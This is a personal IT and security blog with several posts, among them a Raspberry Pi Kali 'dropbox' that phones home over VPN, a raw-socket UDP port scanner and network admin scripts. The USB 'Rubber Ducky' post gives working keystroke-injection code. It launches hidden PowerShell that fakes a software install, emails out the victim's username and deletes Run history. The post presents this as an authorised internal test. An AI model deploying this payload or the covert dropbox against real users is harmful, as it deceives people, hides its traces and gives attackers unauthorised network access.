Categories
Coding Computers Hacking Linux Networks

Kali Dropbox

#Please note any links in this article are affiliate links. You will not be charged extra if you use these links however, I will get some kickback if you do so thank you.

As part of performing a Penetration Test, it is often good practice to try and get a device on the internal network, especially if performing a physical test. There are loads of ways of doing this with guides available from YouTube and other blog sites but I thought I would write up how I’ve done it in case, someone comes across this page and is intrigued. This should be pretty straightforward now as I’ve spent quite some time writing custom scripts to create reverse connections and other things to then realise you can just use a VPN connection.

So to the hardware then; here is a kit list of everything that I’ve got:

*Not strictly necessary but it does mean you can connect to a network if it’s PoE capable without the need for a Power supply

First things first, don’t be the idiot that I was and try and install the Pi into the case with the Micro SD card installed. It’ll cost you £10 for a replacement!

So now that we have everything we need, let’s get Kali installed on the SD Card. This is pretty easy as Kali have an ARM variant of their operating system https://www.kali.org/get-kali/#kali-arm. Download the image specific for your device. To get the image onto your SD card there are a few options for imaging software the one I use is called Etcher by Balena: https://www.balena.io/etcher/. It’s really easy to use, however, I did get an error message when adding my Kali ARM image stating it couldn’t be written properly. I ignored it and installed the SD Card in the Pi and the works fine.

Next we need to decide on how we’re going to connect out to our command and control system. As mentioned above, I went off on a complete tangent with this and tried creating my own Python script to be able to connect out and open a reverse connection. In the end this wasn’t necessary at all. As every business has an internet connection and the main use of this is web browsing using an SSL VPN service is almost always going to be open. To make this work Kali has OpenVPN already installed so you just need to set up a service which your Dropbox can connect to. In my case we’ve already set up a VPN service to our office which is available on TCP/443. All I needed to do is download the OpenVPN config file from my VPN server set the connection request to TCP/443 (default is UDP/1194) and connect up.

We’ve now got a device that can connect up to a remote service from anywhere in the world providing we run that script. Let’s get this to run on boot. To do this we need to enable OpenVPN from boot using this command: systemctl enable OpenVPN

This starts the service on boot and by default looks for a config file in /etc/openvpn/openvpn.conf. Moving our config file and renaming it to openvpn.conf in that location will solve this riddle. Now on boot it automatically starts OpenVPN and connects up to our VPN service. This is great the final piece is to have some error checking, should the VPN go down for whatever reason we need something to attempt to re-establish the connection and/or test for any internet connectivity problems. To solve this we will use a Python script and a Cron Job which will run the script every 5 minutes.

import http.client, urllib
import socket
import ipaddress
import os
import time
from netifaces import AF_INET, AF_INET6, AF_LINK, AF_PACKET, AF_BRIDGE
import netifaces as ni

def CheckIPAddress():
   try:
       SocforIP = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
       SocforIP.connect(("IP of VPN Network", 80))
       vpnIP = SocforIP.getsockname()[0]
       if ipaddress.ip_address(vpnIP) in ipaddress.ip_network('Subnet of VPN Network'):
          VPNOn = CheckifVPNOperational()
          if VPNOn != None:
             return VPNOn
          return vpnIP
       else:
          return "1.1.1.1"
   except:
       return "1.1.1.1"

def CheckIfAddressDifferent(IpAddress):
    try:
        file = open("StoredIP.txt")
        line = file.readline()
        OriginalIP = line.split(",")[0]
        file.close
        if(OriginalIP != IpAddress):
            with open("StoredIP.txt", 'w') as OpenFile:
                OpenFile.truncate(0)
                OpenFile.write(str(IpAddress) + "," + str(time.time()))
                SendNotification("Tap Interface of the-box has change and is now: " + IpAddress)
    except:
        with open("StoredIP.txt", 'w') as file:
            file.write("new file opened")

def SendNotification(Message):
    PushoverConnection = http.client.HTTPSConnection("api.pushover.net:443")
    PushoverConnection.request("POST", "/1/messages.json",
        urllib.parse.urlencode({
            "token": "xxxxxx22222222",
            "user": "xxxxxxx33333333",
            "message": Message,
            "title": "Dropbox has connected to the VPN"
        }), {"Content-type": "application/x-www-form-urlencoded"})
    response = PushoverConnection.getresponse()

def CheckforInternetConnectivity():
    response = os.system("ping -c 1 8.8.8.8")
    if response == 0:
        os.system("systemctl restart openvpn")
        time.sleep(5)
        ipaddressfound = CheckIPAddress()
        if ipaddressfound == '1.1.1.1':
            True
    else:
        with open("StoredIP.txt", 'w') as file:
            file.truncate(0)
            file.write("There is no internet connectivity," + str(time.time()))

def CheckifVPNOperational():
    response = os.system("ifconfig tun0")
    try:
       if "Device not found" in response:
         os.system("systemctl restart openvpn")
    except Exception as e:
         tun0ip = ni.ifaddresses('tun0')[AF_INET][0]['addr']
         return tun0ip

if __name__ == '__main__':
    ipaddressfound = CheckIPAddress()
    if ipaddressfound != '1.1.1.1':
        CheckIfAddressDifferent(ipaddressfound)
    else:
        CheckforInternetConnectivity()

Finally to run a Cron Job every five minutes you need to set the timings as follows: */5 * * * python3 notification.py

Categories
Coding

Python Port Scanner inc UDP

If for whatever reason you end up needing to do a port scan against a target but you cannot install NMAP then you may be able to use a Python script. If you do some googling you will find a variety of sources available that show you a script to perform a port scan using Python. From my searching, however, all of these are for TCP. If you search for UDP port scanning in Python you’ll likely become very disappointed. I know I have.

Fortunately, it is possible with some caveats, the first is the way in which UDP testing works, if you perform a scan against a target of a specific port e.g. DNS then the best way to get an absolute yes or no is to send a service-specific request to the target. If DNS is an open service then the target will respond with a DNS response. However, let’s say the target doesn’t support DNS then what will happen is you will receive an ICMP Unreachable. All of these are pretty common knowledge if you have some basic IT experience.

So, to Python then, to be able to ascertain the information outlined in the paragraph above we need to perform the following steps:

  1. Set up a listener so we can “hear” when packets come into our machine.
  2. Send either specially crafted or generic UDP packets depending on the service being tested.
  3. Check to see what response we have from the target to help ascertain whether the port is open, filtered or closed.

Setting up a Listener and checking the response

So setting up a listener is quite simple really. Here is how we’re going to do it:

StartTime = time.time()
#get the current IP Address of default routed interface
    HostIPSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    HostIPSocket.connect(("8.8.8.8", 80))
    HOST = HostIPSocket.getsockname()[0]
    HostIPSocket.close()

    #check if the application is running on windows or not. 
    if os.name == 'nt': 
        socket_protocol = socket.IPPROTO_IP
    else: 
        socket_protocol = socket.IPPROTO_ICMP 
    SocketListener = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 

    #bind the new listener to the IP address on the interface.
    SocketListener.bind((HOST, 0))
    SocketListener.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 

    #if windows turn on a bit so on the driver so it converts the interface to promiscuous mode
    if os.name == 'nt': 
        SocketListener.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
    #listen for returned packet on new thread after sending the request.
    newthread = threading.Thread(target=udp_sender, args=(target_ip, target_port))
    newthread.start() 
    count = 0
    while True:
        returnedPackets = SocketListener.recvfrom(65535)[0]
         
        # create an IP header from the first 20 bytes
        ip_header = IP(returnedPackets[0:20])
        if (str(ip_header.src_address) == str(target_ip) and ip_header.protocol == "ICMP"):
            offset = ip_header.ihl * 4
            buf = returnedPackets[offset:offset + 8]
            icmp_header = ICMP(buf)
            # check for TYPE 3 and CODE
            if icmp_header.code == 3 and icmp_header.type == 3:
                # make sure it has our magic message
                buf = returnedPackets[48:56]
                udp_header = UDP(buf)
                if returnedPackets[len(returnedPackets) - len(MESSAGE):] == bytes(MESSAGE, 'utf8'):
                    ClosedPorts.append(udp_header.dstport)
                    break
        
        #check if UDP response has been received.
        elif (str(ip_header.src_address) == str(target_ip) and ip_header.protocol =="UDP"):
            offset = ip_header.ihl * 4
            buf = returnedPackets[offset:offset + 8]
            udp_header = UDP(buf)
            if udp_header.srcport == target_port:
                OpenPorts.append(target_port)
                break
        else:
            EndTime = time.time()
            if EndTime - StartTime >= 3:
                OpenFilteredPorts.append(target_port)
                break

    #turn back off promiscuous mode after the operation
    if os.name == 'nt': 
        SocketListener.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 
  1. So the first four lines is using a socket to capture our current IP Address rather than having it set as a static variable.
  2. Then we have an IF statement which checks whether we are using a Windows NT based system or not as that will determine what protocol our socket will connect on.
  3. After this we then bind the new socket to our interface with the IP Address picked up in original four lines of code.
  4. We then check again if were using Windows as if so we need to force promisicous mode. Because of this we will also need to run this as administrator when using Windows.
  5. The new thread bit is actually part of step 2 so we can send a UDP crafted message.
  6. Then the while statement which starts receiving the packets into our interface and analysing them.
    1. This first runs a function to convert the first 20 bytes of the packet into a nicely formatted IP header.
    2. Then we check if the packet received it an ICMP packet and is from the target if so, we perform some addtional functions to convert part of the packet to get the ICMP header portion. Then we check to see if it’s ICMP code equal 3 and whether the ICMP message is the same as the one we sent. If so then we can consider the port to be closed as we’ve received an ICMP unreachable.
    3. If we don’t receive an ICMP response then we check whether the target has sent us a UDP response. If they have then we perform a function to get the UDP headers so we can check if the source port is from the target port we sent the request to. If so, then we can assume that the port is open.
    4. Finally, if nothing matches then we wait for up to 50 packets to be recieved and if nothing matches our tests then we assume it’s refusing likely because it’s open but filtered.
  7. The last IF statement in this code snippet turns off promisicous mode if running on Windows.

Sending a UDP Message

Sending a UDP message in Python is quite possibly the easiest thing I’ve ever done:

def udp_sender(target_ip, target_port):
#run UDP port check now.
    connection_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    try:
        if(str(target_port) in UDP_sig):
            connection_socket.sendto(UDP_sig[str(target_port)], (target_ip,target_port))
        else:
            connection_socket.sendto(bytes(MESSAGE, 'utf8'), (target_ip,target_port))
    finally:
        connection_socket.close()

This code snippet is super simple. First, we create a UDP socket using the SOCK_DGRAM function. Next, we check to see if we have any protocol-specific messages for the port we are targeting, if so we pull that byte array, if not we use a string variable called MESSAGE and convert it to a byte array. Then we close the connection. This function is called in the thread in the previous step.

Additional Thoughts

As you can see this is a bit dirty, especially with the whole wait for 3-second thing at the end of the loop. However, it does work at scale, to make this work faster you could implement byte string variables for each specific service of a UDP request. That way when you send a request for say DNS you should get a response rather than nothing as the service you’re attempting to access doesn’t know how to respond.

Note: if you’re running this on Windows you will need to disable your firewall as it blocked ICMP Unreachable packets from being received by the OS. You can do this either in the Python script or just as and when you run it.

Categories
Hacking

Cyber Security/Red Teaming Path

Caveat: I know this isn’t our usual posts where we show some random thing we’ve had to do to make something work. However, I’ve been struggling to find a solid path of how to progress in the following part of the Cyber Security industry so I thought I would post it on here so others could see what I’m planning on doing. I will provide an update later on in the year with how I’m getting on and what I’ve found needs additional research/training.

As discussed in one of my previous posts I’ve been getting into Cyber Security again specifically Red Teaming/Penetration Testing. I’ve spent the past few months trying to figure out how to go about expanding my knowledge and enjoying what I’ve been doing.

I’ve struggled over the past month or so to try and figure out what way I want to go with this and how I go about getting there. I’ve read people mention that OSCP by Offensive Security: https://www.offensive-security.com/pwk-oscp/ is a good certification to get however, my research suggests that it’s quite complex and requires a lot of knowledge which I don’t have. Further to this, it seems like a significant leap from where I am now and where I have to be to become certified with no real way of realising how far or close you are without taking the exam.

So here is a bit about me and what path I plan to follow in 2022 to hopefully get to the level where I can pass OSCP.

My Background

So, a little bit about me in case anyone stumbles across this and wants to understand what I’ve learned and where I am planning on taking the next steps.

I graduated in 2012 with a Computer, Networks & Security degree. This degree primarily focused on Cisco’s CCNP certification at the time which included Switching, Routing, Network Security (VPNs and some Firewalling) and Network Optimisation (Quality of Service). Whilst going through this degree I did get the opportunity to expand on some of the security aspects so I elected to take Biometrics, as well as Computer System Security which focused on Encryption and another module that focused on Anti Virus. Both of these last two modules ended up having coding assignments which from memory I wrote in Java.

After that, I spent a couple of years working with a consultancy firm gaining experience and focusing on Network Security gaining my CCNP Security in the process. At this point, I was pretty proficient in a lot of the networking technologies having my CCNP Routing & Switching as well as the Security track. Then it all stopped. I ended up moving jobs due to personal reasons and moving into an infrastructure based role doing all sorts of other things becoming more of a generalist rather than focused on a specific path. However, I was granted the opportunity to get my Certified Ethical Hacker (CEH) from EC-Council back in 2015 which I passed but never used again.

So this pretty much brings me up to 2021 where I discovered the Darknet Diaries podcast which I mentioned in a previous post. Since catching up with this podcast I have undertaken the following training/expierence.

As you can see I haven’t done too much since deciding to go down this path and my previous experience as a consultant has all but illuded me now with it being over 7 years ago that I was doing it. Nor have I spent too much money.

The Path

So now to the path I have chosen. First of all, I am going to take the certification eJPT which is e-Learn Junior Pen Tester: https://elearnsecurity.com/product/ejpt-certification/. This should be a nice starter into the field and as I have a lot of experience in my day job at networking so I’m hoping that taking this exam will allow me to pass it to keep my motivation up whilst allowing me to see where I need to improve. This one costs $200 and the training is free through INE.

Then once I have passed that, I am going to move on with the following objectives:

  • Read the books I purchased above.
  • Complete more of the Try Hack Me rooms
  • Sign up to and complete some of the Hack the Box rooms. Will need to check what costs are involved with this.

Once confident in my abilities I am going to attempt the following qualification from e-Learn: https://elearnsecurity.com/product/ecpptv2-certification/. This certification costs $400 plus if you want access to any of the training material you have to sign up for a paid version of INE, which is $49/Month. This from what I can see is a good stepping stone towards the OSCP which is my goal.

Hopefully, at this point and passing both of these, I will be more confident to have an attempt at OSCP.

For further information on how I came up with this plan please look at this security certification roadmap that I found which from what I can see is pretty current at the time of writing – Jan 2022: https://pauljerimy.com/security-certification-roadmap/

Update – 14/01/2022

So today I took my eJPT lab exam. The exam itself was really good with 20 multi-choice questions which you could answer depending on how far you got and how much you managed to compromise. You get 3 full days to access the lab and go through the pen test and need to get 75% correct. I started at 8:30am, went through all 20 questions and downloaded the engagement pack.

You get a VPN file that drops you onto a network for you to begin your work. Within 3 hours I had compromised everything on one network and had pivoted to another, by this point I had answered 19 questions and three of those I couldn’t be 100% sure on. At that point, I was fairly sure I had already passed as I was very confident or completely sure on 16 answers but wanted more.

I spent another three hours trying to compromise another server to no avail. I went through everything I could think of and because it’s open book even researched different exploits/techniques I could use to try and get access. After spending this time work got in the way and I needed to get back to the day job so I guessed on the final question I didn’t have an answer for and clicked submit. I passed with 85% which is great. You get your result instantly.

Whilst I’m glad I passed and got to experience this lab and felt that the lab was a fantastic environment to implement and test my skills, I am annoyed. I’m annoyed because I couldn’t compromise the last piece in this puzzle and get the answers to all of the questions. Unfortunately, you do not get any feedback from the exam which I wish eLearnSecurity would provide that was I could be confident on what I need to brush upon. I feel I have a good idea of what I need to refresh but some clarification would have been nice.

Anyway onto the next one: eCPPTv2.

Categories
Coding Hacking Linux

Stupidity at its best.

So I’ve been in the IT industry for over ten years working with a variety of organisations doing all sorts of cool things. Thoughout my career I have done a variety of stupid things and as I got older I was convinced that these stupid mistakes would become less or would become so obscure that they wouldn’t be considered stupid. This obviously isn’t the case based on the title of this blog post.

About a month ago, I got an email from EC-Council’s training platform: Codered, due to my Certified Ethical Hacker (CEH) certification expiring. Offering a bunch of courses all for $1. Now I know what you’re thinking here, this is a phishing scam but I went directly to the website signed in and it was true. I signed up for Wireshark for Hackers and Black Hat Python. The Wireshark course was for beginners which needless to say it very much was. I picked up a few things but what annoyed me the most was watching the trainer figure out what he was trying to teach on video, not cool. The Python course though was cool, the educator was brilliant. Super detailed but put it all in a way that was really easy to understand. This was also helped by the fact that I’ve done some Python work before so the syntax was familiar.

Now the backstory is done, onto the stupidity part. Within the Python course, there was a module specifically dedicated to Brute Force cracking Linux/Unix passwords from the /etc/shadow or /etc/passwd file. This used the module crypt. I build the script and had it all ready but with me being on a Windows machine it wouldn’t work with a sample shadow/passwd file available on the internet. So after a little bit of time, I built a Linux VM for something else, copied the file across and tried it out.

Fail. The code wouldn’t run and just threw the following error:

AttributeError: ‘module’ object has no attribute ‘crpyt’

So to everyone’s favourite troubleshooter, Google. I put the error into Google and nothing. This is very unusual, I almost always find someone with an error pretty much matching what I have. I’m not a programmer after all. I found a bunch of people with the same error but not against the same attribute. I spent hours, researching into this trying to find if there was a Pip module that I hadn’t installed. For those of you that are unsure Pip is a program to install Python modules onto a system. Everything suggested that I needed to install the cryptography module on Linux but when I tried that it said it was already installed. So I thought maybe it was the distribution of Linux that I was using, Kali. The trainer used Ubuntu so I moved over to one of my servers with Ubuntu on to try that. No dice.

Finally, I decided to give up on searching and went to the line of code in question which was throwing the error:

digest = crypt.crpyt(word, hashed_pass)

I use Visual Studio Code (VSCode) for my programming and the nice thing is in Python on VSCode each piece of code is usually colour coded, so green for a module, yellow for a function, light blue for variable and orange for some text, etc. This was when I realised the word crpyt after crypt. was white. Oh, balls, it’s a typo, changed it to crypt, the word went yellow, re-copied it to my Kali machine and hey presto everything is working.

For all of you out there that are either just starting out or have been in the field for a short while and end up making a mistake like this. Don’t worry, someone who’s got a job as a Senior Engineer makes these mistakes too and I don’t doubt that I won’t stop making these mistakes until I retire. Don’t get disheartened by it, it’s human nature and I hope this post helps you in realising that. For those of you that run into this issue yourself whilst messing about with Python, check your code and make sure you haven’t made a typo as that error can be quite misleading if you don’t read it letter by letter like me.

Categories
Hacking

Poor mans Rubber Ducky in the UK

This is a long one!

So a month or so ago I went to an event titled “Cyber Security Masterclass” which was the first event I’ve been to since the whole COVID-19 lockdown thing. The event itself was OK, unfortunately, they aimed it at low-level technical engineers and decision-makers which made it difficult for myself and my boss who are quite technical. Whilst there the Security Analyst told me about a podcast called Darknet Diaries: https://darknetdiaries.com/ which I started listening to. Turns out I hit this podcast pretty hard listening to over 60 hours of episodes in a month… Whoops.

The other thing that the Security Analyst showed us was the good old Rubber Ducky which is a USB device that emulates a keyboard that you can put scripts onto. This is something I’d seen before but never really delved into.

After the event, I got an idea to try and use one of these devices at work. Got approval from my boss so I started looking into it further. I found the company that made the Rubber Ducky (https://hak5.org/products/usb-rubber-ducky-deluxe) and whilst they looked good I couldn’t justify £80 for a single device knowing that I was going to drop three of them off at different locations. Time to start looking at cheaper alternatives. Very quickly I stumbled across an Arduino board that does this sort of thing, the DigiSpark ATTINY85: https://www.amazon.co.uk/Reland-Sun-Digispark-Kickstarter-Development/dp/B08RRLRMYM/ref=sr_1_5?keywords=attiny85&qid=1636622041&s=computers&sr=1-5

These boards come in a variety of options from a development board to one that looks like a normal USB drive. As a PoC I went for the development board.

From here I followed this guide to get my computer set up and ready for coding up the board: https://maker.pro/arduino/projects/how-to-build-a-rubber-ducky-usb-with-arduino-using-a-digispark-module. Whilst this worked fine and got me up and running, I was running into issues with some of the special characters on the keyboard. After a bit of research, it appeared that the package I downloaded only supported US keyboard layouts 🤦. A lot of the research suggested modifying the scancode-ascii-table.h file to replace some of the special characters with ASCII characters that I needed. This seemed like a complete ballache for something that I’m surprised wasn’t baked into the solution from the get-go. However, after some more digging, I found another GitHub repo that had a Multi-Keyboard Layout option: https://github.com/rsrdesarrollo/DigistumpArduino. Going through this and re-adding the software through Board Manager in Arduino got me exactly what I needed.

So, so far so good, we have a USB chip that supports UK keyboard layouts and we’ve set up our computer to be able to write some code to the ATTINY85. So what’s left to do:

  1. Figure out a script to use which allows us to see which individuals have plugged in the USB.
  2. Sort out some casing for the USB device to make it a bit more realistic.
  3. Work out a plan to drop the USBs off at site.

So let’s look at the first thing. What do we want to do with our potential victims of this kind of attack? Obviously, we don’t want to do something that may potentially compromise our employer’s systems nor do we want to do anything that may get us caught. I think a script to send me an email with the username of who’s plugged the device into their computer should be a good one. Looking into this I found a few GitHub repos that have a variety of attack options, however, this one appeared to be one used by a lot of people: GitHub – CedArctic/DigiSpark-Scripts: USB Rubber Ducky type scripts written for the DigiSpark.

I decided to take advantage of Windows which has email functionality baked-in through .NET so a Powershell script was the obvious choice. At work, we recently replaced our networking infrastructure with a new vendor so I could take care of the third point with this too by posing the USB as some software to allow the IT Team to manage the network. After some messing about with Powershell here’s the script I came up with:

$StartingPopup = New-Object -ComObject Wscript.Shell
$StartingPopup.Popup("Network Management Software is being installed, please wait...",0,"Software Installing",0x1)

$LoggedInUser = $env:UserName
$User = "hackeddevice@test.com"
$password = Get-Content ".\EmailPwd.txt" | ConvertTo-SecureString -Key (Get-Content ".\EmailKey.aes")
$credential = New-Object System.Management.Automation.PSCredential $User, $password

## Define the Send-MailMessage parameters
$mailParams = @{
    SmtpServer                 = 'smtp.office365.com'
    Port                       = '587' 
    UseSSL                     = $true 
    Credential                 = $credential
    From                       = 'hackeddevice@test.com'
    To                         = 'talan@test.com
    Subject                    = "USB has been plugged in"
    Body                       = 'USB has been plugged in by ' + $LoggedInUser
    DeliveryNotificationOption = 'OnFailure', 'OnSuccess'
}

## Send the message
Send-MailMessage @mailParams

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$Home\Desktop\Network Management System.lnk")
$Shortcut.IconLocation=".\Logo.ico"
$Shortcut.TargetPath = "https://manage.nms.com"
$Shortcut.Save()

##clean up run commands
$RunList = Get-ItemProperty -path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name "MRUList"
$LatestRun = $RunList.MRUList.SubString(0,1)
Remove-ItemProperty -path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU" -Name $LatestRun

$CompletionPopup = New-Object -ComObject Wscript.Shell
$CompletionPopup.Popup("Network Management Software has been installed. There is a shortcut on your desktop.",0,"Software Installed",0x1)

A pretty simple Powershell script that pulls the logged-in username sets up some mail parameters and sends a mail, creates a shortcut on the users desktop and then displays a popup box to show that the “software” has been installed. The credentials have been encrypted using the following guide: https://www.altaro.com/msp-dojo/encrypt-password-powershell/

Right so to save me setting up a hosting server for these files I’m going to put them on a shared drive as I have access to it. If you were doing this for an organisation you didn’t have this access to, you’d need to set up a hosting server with the following files and probably use some unauthenticated SMTP Server to save on requiring encrypted credentials:

  1. Powershell script
  2. Shortcut Icon

Now we need to create use/modify the script from the GitHub repo above for executing a Powershell script and put it onto our USB Rubber Ducky: https://github.com/CedArctic/DigiSpark-Scripts/blob/master/Execute_Powershell_Script/Execute_Powershell_Script.ino

The main thing here for me is to remove the download client functions as we’re storing our file on a share that all users can access and then change the Execution Policy to allow the script to run and run it. So for us the Arduino code looks like this:

DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(100);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(400);
  DigiKeyboard.print("powershell.exe -ExecutionPolicy \"Unrestricted\" -WindowStyle \"hidden\" -File \"S:\\IT Services\\TalsScripts\\EmailScript.ps1\"");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

We’re now onto the final stage, we’ve configured the device and created the relevant scripts we want to run however, we still have just an exposed logic board and it certainly looks very dodgy. To sort this one out I called on my previous knowledge of 3D printing, time to hit Thingiverse to see what’s available. Again quite quickly I stumbled across this STL file that seemed to have everything I needed: https://cults3d.com/en/3d-model/tool/digispark-attiny85-badusb-fake-usb-memory-case-remix. I got one of these printed at a local 3D printer shop and found the tolerances to be just a bit too tight. The board fitted but it felt like I was going to break it and the back piece wouldn’t connect to its slot without some filing, also getting the print of the bed of the printer caused some warping due to the top being so thin. I, therefore, went to Tinkercad to modify the STL file by increasing the size of the base by .15mm all the way around and increasing the height by 1mm. I also increased the height of the top by 1mm so it would fit into its slot.

So there we have it, a Rubber Ducky device set up to execute a Powershell script on plug into a computer that looks like a normal USB drive and for under £10 a device.

Categories
Networks

Automatically backing up Juniper switch configs

Over the past few years I’ve spent a considerable amount of time trying to find an cheap or free solution for backing up network devices at my workplace. As we were completely a Cisco house this lead be to installing RANCID on Ubuntu. This was a brilliant solution only taking a couple of hours to implement and backup the entire network.

Fast forward 8 years and things have changed dramatically, my workplace is no longer a Cisco only house, implementing Dell, Juniper, Fortinet and Cisco device into the network. This in turn has caused quite a bit of pain in getting our backups to work effectively. Our most recent requisition was some Juniper EX series switches. Investigation suggested that RANCID is capable of backing up Juniper equipment but it took some messing about to make it work. Here are the steps I have implemented to be able to get a backup of the switches:

  1. Software used:
    Ubuntu Linux
    RANCID 3.7
  2. Juniper Config
    Install a class specifically for the backup user:
set system login class backup permissions access
set system login class backup permissions admin
set system login class backup permissions firewall
set system login class backup permissions flow-tap
set system login class backup permissions interface
set system login class backup permissions network
set system login class backup permissions routing
set system login class backup permissions secret
set system login class backup permissions security
set system login class backup permissions snmp
set system login class backup permissions storage
set system login class backup permissions system
set system login class backup permissions trace
set system login class backup permissions view
set system login class backup permissions view-configuration

Install a new user and tie to the newly created class:

set system login user backup class backup
set system login user backup authentication plain-text-password

This isn’t ideal and the best way would be to implement the user with an SSH key-pair rather than passwords that way the RANCID server doesn’t have your network passwords in a plain text file.

3. RANCID Config

Here I have needed to make some modifications. First of all if you already have backups and are re-using the management addresses when migrating delete the files from the config folder and also the Entries file in the CVS folder of each individual site.

Modify your router.db file in your site folders to be the following for each of your juniper switches:

<deviceIP/name:deviceType:status>
router.name:juniper:up

Next you will need to modify the base file for types within RANCID, for me this was in /etc/rancid. In this file fine the following line:

juniper;command;junos::ShowConfiguration;show configuration

and change it to this:

juniper;command;junos::ShowConfiguration;show configuration | display set

If required, modify your .cloingrc file to include your newly created user and password here is what I did as a test:

add method 192.168.1.1 ssh
add user 192.168.1.1 backup
add password 192.168.1.1 passwordsetinjuniper

Then I needed to modify the junos perl script, for Ubuntu and the default install location this is in /usr/share/perl5/rancid/junos.pm. The following line needs to be commented:

next if (/^## last commit: /i);

Finally if you’re running this in Ubuntu run the login for Juniper to ensure that the server can login to switch successfully:

/usr/lib/rancid/bin/jlogin -f /var/lib/rancid/.cloginrc junipermgmtIP

If all is well and you can successfully login proceed to running the rancid-run file and monitor the logs to confirm the configuration have backed up:

sudo su -c /var/lib/rancid/bin/rancid-run -s /bin/bash -l rancid

Categories
Servers

Decommissioning Skype for Business 2015 Server

After attempting to decommission an old Skype for Business 2015 Enterprise Cluster we ran into an issue which was stopping us from decommissioning the cluster itself. The error being presented was “Can’t publish topology because users still homed to pool that would be deleted”. We thought that we had moved all of our contacts and users across to the new but after further investigation we found the following Powershell script which helped us along the way to get rid of the orphaned objects:

https://gallery.technet.microsoft.com/office/LyncS4B-Orphaned-Objects-03beadd7

Unfortunately, we ran into a problem where this script ended up presenting all of our response groups as being homed on our older cluster. We have identified the culprit piece of code and updated it to match against the pool FQDN you enter in the script. The script can be found below:

Categories
Networks

Mist/PacketFence Web Auth

Please note this is not supported by PacketFence/Inverse at the time of writing

There aren’t really any guides out there for Mist and Packetfence integration. During our time working with the Mist engineers we were able to get the authentication services working between Mist and PacketFence. We’ll submit this as a PR to Packetfence in the hope that it’s included in the main release.

Mist Configuration

To make this work you need to configure the Mist system with an SSID with the following security parameters:

Security Settings
Radius Settings
CoA Settings

From here the Mist system attempts to authenticate the device using RADIUS-MAB against the PacketFence system. Should PacketFence not authenticate the device, it returns a redirect request for the device which the Mist AP picks up and forwards to the client so that they can register.

The CoA settings are required here as, should the user no longer become registered e.g. PacketFence times out the device, then a CoA is sent to the Mist system for the device to be disassociated from the wireless environment.

PacketFence Configuration

Firstly, the Mist.pm perl script will need to be installed into the PacketFence environment so PacketFence understand hows to communicate with Mist and to perform the CoA requests as per the configuration. To access this please visit here: https://github.com/talanw/mist-packetfence

Mist uses the APs as a RADIUS Authenticator so each AP will need to be installed as a “Switch” in the PacketFence configuration. We have created a script to do this as PacketFence do not provide a POST in their API Documentation for config/switches as well as deployment of RADIUS to NPS which is available here: https://randomitstuff720939636.wordpress.com/2020/06/02/mist-nps-and-packetfence-radius-scripts/

However, should you only need to deploy one or two APs as part of a PoC then the switch settings required are as follows:

Definition
IP Address: Ip Address of the AP
Type: Cisco::Mist
Mode: Production
Deauthentication Method: RADIUS
Use CoA: Yes

Roles
Role by VLAN ID: Off
Role by Switch Role: Off
Role by Access List: Off
Role by Web Auth URL: On
registration: https://packetfence.contoso.com/Cisco::WLC

RADIUS
Secret Passphrase: RadiusSecretKey

Categories
Networks

Mist – NPS and PacketFence Radius Scripts

Here is a generic script for importing Mist APs into Microsoft’s NPS RADIUS Server and Packetfence’s Switching configurations:

Mist Setup

$Headers = @{
Authorization = "Token xWH84fgSnZTBMfA2eC9azGqNR2RFfgpmRGo9FGbaw0DlTm6enmfrK0cxkIYtEhdEvvRZesWddU222vHT82hnb0eSZecswe1iWl9h7C"
}
$Sites = @("771cb8f4-83ac-4385-bf4b-a68a61a8c853", "32f7bd38-9f01-4a3e-81b0-d4afbbc10f12", "e6f6d5c8-4dc9-4a55-ba76-1a903ec5d3f4", "d1320dcc-1e38-4d10-8518-19d844c119f4", "c8d2c1ea-76dd-4183-8cd4-5efcf3de6c4a", "b67b5694-03c2-4155-9b3d-751484b58c65", "dfcd013d-17b3-4805-9b91-2c86f70f3936" )
$SiteNames = @("Site 1", "Site 2", "Site 3", "Site 4", "Site 5", "Site 6", "Site 7")

packetfence setup

$LoginParams = @{"username"="admin";"password"="supersecretpassword"}
$PFLogin = Invoke-WebRequest -Uri "https://packetfence.contoso.com:1443/api/v1/login" -Method POST -Body ($LoginParams|ConvertTo-JSON)
$PFToken = ConvertFrom-Json $PFLogin.Content
$PFToken = $PFToken.token
$PFHeaders = @{
Authorization = "Bearer $PFToken"
}

System Loop

for($i=0; $i -lt $Sites.length; $i++)
{
	Write-Host "Performing checks on site:" $SiteNames[$i]
	$Uri = "https://api.mist.com/api/v1/sites/" + $Sites[$i] + "/stats/devices"
	$APStats = Invoke-WebRequest -Uri $Uri -Headers $Headers -ContentType "application/json"
	$Converted = ConvertFrom-Json $APStats
	$CurrentNPSClients = Get-NpsRadiusClient
	Foreach($AP in $Converted) {
	#check NPS and if the RADIUS Client doesn't exist create a new entry
	$ClientCheck = $false
	$NewNameObject = $AP.name
	$CurrentNPSClients | ForEach-Object {
		If($_.Name -eq $NewNameObject)
		{
			$ClientCheck = $true
		}
	}
	Write-Host "Is the AP already configured in NPS:" $ClientCheck
	if($ClientCheck -eq $false)
		{
		New-NpsRadiusClient -Name $AP.name -Address $AP.ip -SharedSecret "RadiusSharedSecret"
		}

		#check PacketFence to see whether there is a RADIUS Client if not create one
		try
		{
			$URIPF = "https://packetfence.contoso.com:1443/api/v1/config/switch/" + $AP.ip
			$URIPF
			$PFSwitch = Invoke-WebRequest -Uri $URIPF  -Headers $PFHeaders -ContentType "application/json"
			Write-Host "The AP already configured in PacketFence:" $AP.ip
		}
		catch
		{
			Write-Host "Adding the following AP to PacketFence:" $AP.ip
			$IP = $AP.ip
			$Desc = $AP.name
